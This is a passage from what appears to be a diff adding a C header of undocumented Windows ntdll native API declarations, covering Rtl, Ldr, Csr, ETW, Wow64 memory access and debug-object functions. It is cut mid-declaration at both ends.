ULONG Service + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerAdd ( + LARGE_INTEGER Addend1, + LARGE_INTEGER Addend2 + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedIntegerMultiply ( + LONG Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlEnlargedUnsignedMultiply ( + ULONG Multiplicand, + ULONG Multiplier + ); + +__inline +ULONG +NTAPI +RtlEnlargedUnsignedDivide ( + IN ULARGE_INTEGER Dividend, + IN ULONG Divisor, + IN PULONG Remainder OPTIONAL + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerNegate ( + LARGE_INTEGER Subtrahend + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerSubtract ( + LARGE_INTEGER Minuend, + LARGE_INTEGER Subtrahend + ); + +LARGE_INTEGER +NTAPI +RtlExtendedMagicDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER MagicDivisor, + CCHAR ShiftCount + ); + +LARGE_INTEGER +NTAPI +RtlExtendedLargeIntegerDivide ( + LARGE_INTEGER Dividend, + ULONG Divisor, + PULONG Remainder + ); + +LARGE_INTEGER +NTAPI +RtlLargeIntegerDivide ( + LARGE_INTEGER Dividend, + LARGE_INTEGER Divisor, + PLARGE_INTEGER Remainder + ); + +LARGE_INTEGER +NTAPI +RtlExtendedIntegerMultiply ( + LARGE_INTEGER Multiplicand, + LONG Multiplier + ); + +__inline +LARGE_INTEGER +NTAPI +RtlConvertLongToLargeInteger ( + LONG SignedInteger + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlConvertUlongToLargeInteger ( + ULONG UnsignedInteger + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftLeft ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerShiftRight ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +LARGE_INTEGER +NTAPI +RtlLargeIntegerArithmeticShift ( + LARGE_INTEGER LargeInteger, + CCHAR ShiftCount + ); + + +__inline +BOOLEAN +NTAPI +RtlCheckBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitPosition + ); + + +BOOLEAN +NTAPI +RtlIsValidOemCharacter ( + IN OUT PWCHAR Char + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlpImageNtHeader( + PVOID Base + ); + +RTL_PATH_TYPE +RtlDetermineDosPathNameType_U( + IN PCWSTR DosFileName + ); + +PRTL_TRACE_DATABASE +RtlTraceDatabaseCreate ( + IN ULONG Buckets, + IN SIZE_T MaximumSize OPTIONAL, + IN ULONG Flags, // OPTIONAL in User mode + IN ULONG Tag, // OPTIONAL in User mode + IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseValidate ( + IN PRTL_TRACE_DATABASE Database + ); + +BOOLEAN +RtlTraceDatabaseAdd ( + IN PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseFind ( + PRTL_TRACE_DATABASE Database, + IN ULONG Count, + IN PVOID * Trace, + OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL + ); + +BOOLEAN +RtlTraceDatabaseEnumerate ( + PRTL_TRACE_DATABASE Database, + OUT PRTL_TRACE_ENUMERATE Enumerate, + OUT PRTL_TRACE_BLOCK * TraceBlock + ); + +VOID +RtlTraceDatabaseLock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlTraceDatabaseUnlock ( + IN PRTL_TRACE_DATABASE Database + ); + +VOID +RtlpGetStackLimits ( + OUT PULONG_PTR LowLimit, + OUT PULONG_PTR HighLimit + ); + +NTSTATUS +NTAPI +RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLocked ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount ( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID +NTAPI +RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll ( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrLoadDll( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrUnloadDll( + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandle( + IN OPTIONAL PWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleEx( + IN ULONG Flags, + IN OPTIONAL PCWSTR DllPath, + IN OPTIONAL PULONG DllCharacteristics, + IN PUNICODE_STRING DllName, + OUT OPTIONAL PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + IN PVOID Base, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrGetDllHandleByName( + IN OPTIONAL PUNICODE_STRING BaseDllName, + IN OPTIONAL PUNICODE_STRING FullDllName, + OUT PVOID *DllHandle + ); + +NTSTATUS +NTAPI +LdrAddRefDll( + IN ULONG Flags, + IN PVOID DllHandle + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress + ); + +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + IN PVOID DllHandle, + IN OPTIONAL PANSI_STRING ProcedureName, + IN OPTIONAL ULONG ProcedureNumber, + OUT PVOID *ProcedureAddress, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +LdrLockLoaderLock( + IN ULONG Flags, + OUT OPTIONAL ULONG *Disposition, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrRelocateImage( + IN PVOID NewBase, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + IN PVOID NewBase, + IN LONGLONG Bias, + IN PSTR LoaderName, + IN NTSTATUS Success, + IN NTSTATUS Conflict, + IN NTSTATUS Invalid + ); + +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + IN ULONG_PTR VA, + IN ULONG SizeOfBlock, + IN PUSHORT NextOffset, + IN LONG_PTR Diff + ); + +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + IN PVOID BaseAddress, + IN SIZE_T NumberOfBytes, + IN ULONG FileLength + ); + +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + IN PVOID DllHandle, + OUT PULONG ServiceTagBuffer, + IN OUT PULONG BufferSize + ); + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + +ULONG +NTAPI +CsrGetProcessId( + ); + +void +NTAPI +A_SHAFinal( + PSHA_CTX Context, + PULONG Result + ); + + +PVOID +NTAPI +A_SHAUpdate( + IN OUT PSHA_CTX, + IN PCHAR, + IN UINT + ); + +PVOID +NTAPI +A_SHAInit( + IN OUT PSHA_CTX, + OUT PVOID + ); + +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved + ); + +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + IN PCWSTR DosFileName, + OUT PUNICODE_STRING NtFileName, + OUT PWSTR *FilePart OPTIONAL, + PVOID Reserved // Must be NULL + ); + +PVOID +NTAPI +RtlAddVectoredExceptionHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +PVOID +NTAPI +RtlAddVectoredContinueHandler ( + IN ULONG First, + IN PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSTATUS +NTAPI +RtlAnalyzeProfile ( + VOID + ); + +BOOLEAN +NTAPI +RtlCallVectoredContinueHandlers ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord + ); + +PVOID +RtlEncodePointer( + PVOID Ptr + ); + +PVOID +RtlDecodePointer( + PVOID Ptr + ); + +PVOID +RtlEncodeSystemPointer( + PVOID Ptr + ); + +PVOID +RtlDecodeSystemPointer( + PVOID Ptr + ); + +VOID +NTAPI +RtlDeleteResource( + PRTL_RESOURCE Resource + ); + +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + PSECURITY_DESCRIPTOR * ObjectDescriptor + ); + +BOOLEAN +RtlDllShutdownInProgress( + VOID + ); + +ULONG +NTAPI +RtlGetCurrentProcessorNumber ( + VOID + ); + +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 + +typedef struct _RTL_UNLOAD_EVENT_TRACE { + PVOID BaseAddress; // Base address of dll + SIZE_T SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE64 { + ULONGLONG BaseAddress; // Base address of dll + ULONGLONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 { + ULONG BaseAddress; // Base address of dll + ULONG SizeOfImage; // Size of image + ULONG Sequence; // Sequence number for this event + ULONG TimeDateStamp; // Time and date of image + ULONG CheckSum; // Image checksum + WCHAR ImageName[32]; // Image name +} RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; + +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID + ); + +NTSTATUS +NTAPI +RtlInitializeProfile( + BOOLEAN KernelToo + ); + +typedef BOOLEAN +(NTAPI * +PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( + VOID + ); + +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout ( + VOID + ); + +NTSTATUS +NTAPI +RtlSetLFHDebuggingInformation( + PVOID LFHHeap, + PHEAP_DEBUGGING_INFORMATION DebuggingInformation + ); + +ULONG +NTAPI +RtlMultipleAllocateHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID * Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap ( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + OUT PVOID * Array + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectEx ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID *ObjectType OPTIONAL, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance ( + IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, + IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, + OUT PSECURITY_DESCRIPTOR * NewDescriptor, + IN GUID **pObjectType OPTIONAL, + IN ULONG GuidCount, + IN BOOLEAN IsDirectoryObject, + IN ULONG AutoInheritFlags, + IN HANDLE Token, + IN PGENERIC_MAPPING GenericMapping + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlSetHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL + ); + +NTSTATUS +NTAPI +RtlQueryHeapInformation ( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT PVOID HeapInformation OPTIONAL, + IN SIZE_T HeapInformationLength OPTIONAL, + OUT PSIZE_T ReturnLength OPTIONAL + ); +#endif + +NTSTATUS +NTAPI +RtlQuerySecurityObject ( + PSECURITY_DESCRIPTOR ObjectDescriptor, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ResultantDescriptor, + ULONG DescriptorLength, + PULONG ReturnLength + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +ULONG +NTAPI +RtlRemoveVectoredContinueHandler ( + IN PVOID Handle + ); + +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler ( + IN PVOID Handle + ); + +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + IN HANDLE FileHandle, + IN APC_CALLBACK_FUNCTION CompletionProc, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlSetSecurityObject( + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR ModificationDescriptor, + PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + PGENERIC_MAPPING GenericMapping, + HANDLE Token + ); + +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR ModificationDescriptor, + IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + IN ULONG AutoInheritFlags, + IN PGENERIC_MAPPING GenericMapping, + IN HANDLE Token OPTIONAL + ); + +typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( + struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; + +VOID +RtlSetUnhandledExceptionFilter ( + PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter + ); + +NTSTATUS +NTAPI +RtlStartProfile ( + VOID + ); + +NTSTATUS +NTAPI +RtlStopProfile ( + VOID + ); + +NTSTATUS +RtlWow64EnableFsRedirection( + IN BOOLEAN Wow64FsEnableRedirection + ); + + +NTSTATUS +RtlWow64EnableFsRedirectionEx( + IN PVOID Wow64FsEnableRedirection, + OUT PVOID *OldFsRedirectionLevel + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDeregisterWait( + IN HANDLE WaitHandle + ); + +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + IN HANDLE WaitHandle, + IN HANDLE Event + ); + +#define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + +typedef +VOID +(*PKNORMAL_ROUTINE) +(IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2 + ); + +VOID +KiUserCallbackDispatcher( + IN ULONG ApiNumber, + IN PVOID InputBuffer, + IN ULONG INputLength + ); + +NTSTATUS +NTAPI +CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServertDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + + +NTSTATUS +NTAPI +CsrClientCallServer( + IN OUT PCSR_API_MSG m, + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, + IN CSR_API_NUMBER ApiNumber, + IN ULONG ArgLength + ); + + +PCSR_CAPTURE_HEADER +NTAPI +CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +VOID +NTAPI +CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + + +ULONG +NTAPI +CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +VOID +NTAPI +CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +VOID +NTAPI +CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +PLARGE_INTEGER +NTAPI +CsrCaptureTimeout( + IN ULONG Milliseconds, + OUT PLARGE_INTEGER Timeout + ); + +VOID +NTAPI +CsrProbeForWrite( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +VOID +NTAPI +CsrProbeForRead( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +NTSTATUS +NTAPI +CsrNewThread( + VOID + ); + +NTSTATUS +NTAPI +CsrIdentifyAlertableThread( + VOID + ); + +NTSTATUS +NTAPI +CsrSetPriorityClass( + IN HANDLE ProcessHandle, + IN OUT PULONG PriorityClass + ); + +//added 20/03/2011 +NTSTATUS +NTAPI +RtlCreateProcessReflection( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN OPTIONAL PVOID StartRoutine, + IN OPTIONAL PVOID StartContext, + IN OPTIONAL HANDLE EventHandle, + OUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation + ); + + +NTSTATUS +NTAPI +RtlCloneUserProcess( + IN ULONG ProcessFlags, + IN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + IN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + IN OPTIONAL HANDLE DebugPort, + OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + + +VOID +NTAPI +LdrShutdownProcess( + ); + +NTSTATUS +NTAPI +RtlQueryProcessModuleInformation( + IN HANDLE hProcess OPTIONAL, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessBackTraceInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessHeapInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessLockInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN ULONG MaximumCommit OPTIONAL, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlCreateTimer( + IN HANDLE TimerQueueHandle, + OUT HANDLE *Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG DueTime, + IN ULONG Period, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlUpdateTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerHandle, + IN ULONG DueTime, + IN ULONG Period + ); + +NTSTATUS +NTAPI +RtlDeleteTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerToCancel, + IN HANDLE Event + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + IN HANDLE TimerQueueHandle + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + IN HANDLE TimerQueueHandle, + IN HANDLE Event + ); + + +BOOLEAN +NTAPI +RtlDoesFileExists_U( + PCWSTR FileName + ); + + +ULONG +RtlGetCurrentDirectory_U( + ULONG nBufferLength, + PWSTR lpBuffer + ); + +NTSTATUS +RtlSetCurrentDirectory_U( + PUNICODE_STRING PathName + ); + + +ULONG +RtlDosSearchPath_U( + IN PWSTR lpPath, + IN PWSTR lpFileName, + IN PWSTR lpExtension OPTIONAL, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT PWSTR *lpFilePart + ); + + +void +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +ULONG +NTAPI +RtlGetFullPathName_U( + IN PCWSTR lpFileName, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT OPTIONAL PWSTR *lpFilePart + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + + +ULONG +NTAPI +EtwRegisterSecurityProvider(); + +ULONG +NTAPI +EtwWriteUMSecurityEvent( + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData); + + +ULONG +NTAPI +EtwEventWriteEndScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + +ULONG +NTAPI +EtwEventWriteFull( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + LPCGUID ActivityId, + LPCGUID RelatedActivityId, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +ULONG +NTAPI +EtwEventWriteStartScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +// +// old channel apis, from nt4 +// + +NTSTATUS +NTAPI +NtCreateChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL + ); + +NTSTATUS +NTAPI +NtOpenChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +NTAPI +NtListenChannel ( + IN HANDLE ChannelHandle, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtSendWaitReplyChannel ( + IN HANDLE ChannelHandle, + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtReplyWaitSendChannel ( + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + + +ULONG +NTAPI +AlpcUnregisterCompletionListWorkerThread( + PVOID CompletionList + ); + + +void +NTAPI +RtlUpdateClonedCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + PUNICODE_STRING FileName, + PUNICODE_STRING StaticString, + PUNICODE_STRING DynamicString, + PPUNICODE_STRING StringUsed, + PULONG FilePartPrefixCch, + PUCHAR NameInvalid, + PRTL_PATH_TYPE InputPathType, + PULONG BytesRequired); + +int +NTAPI +LdrInitShimEngineDynamic( + PVOID pShimEngineModule); + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +NTAPI +ZwWow64QueryInformationProcess64( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64QueryVirtualMemory64( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64ReadVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +ZwWow64WriteVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + +void +NTAPI +ZwWow64GetCurrentProcessorNumberEx( + OUT PPROCESSOR_NUMBER ProcNumber +); + +PCSR_CAPTURE_HEADER +NTAPI +ZwWow64CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +ULONG +NTAPI +ZwWow64CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +NTSTATUS +NTAPI +ZwWow64CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServerDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + +void +NTAPI +ZwWow64CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + +NTSTATUS +NTAPI +ZwWow64CsrIdentifyAlertableThread( + void + ); + +NTSTATUS +NTAPI +ZwWow64DebuggerCall ( + IN ULONG ServiceClass, + IN ULONG Arg1, + IN ULONG Arg2 + ); + +NTSTATUS +NTAPI +RtlCleanUpTEBLangLists( + void + ); + +VOID +KiUserApcDispatcher ( + PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2, + PKNORMAL_ROUTINE NormalRoutine + ); + +VOID +KiUserExceptionDispatcher ( + PEXCEPTION_RECORD ExceptionRecord, + PCONTEXT ContextFrame + ); + +NTSTATUS +NTAPI +NtCreateDebugObject( + OUT PHANDLE DebugObjectHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +NtDebugActiveProcess( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtDebugContinue( + IN HANDLE DebugObjectHandle, + IN PCLIENT_ID ClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +NtRemoveProcessDebug( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtSetInformationDebugObject( + IN HANDLE DebugObjectHandle, + IN 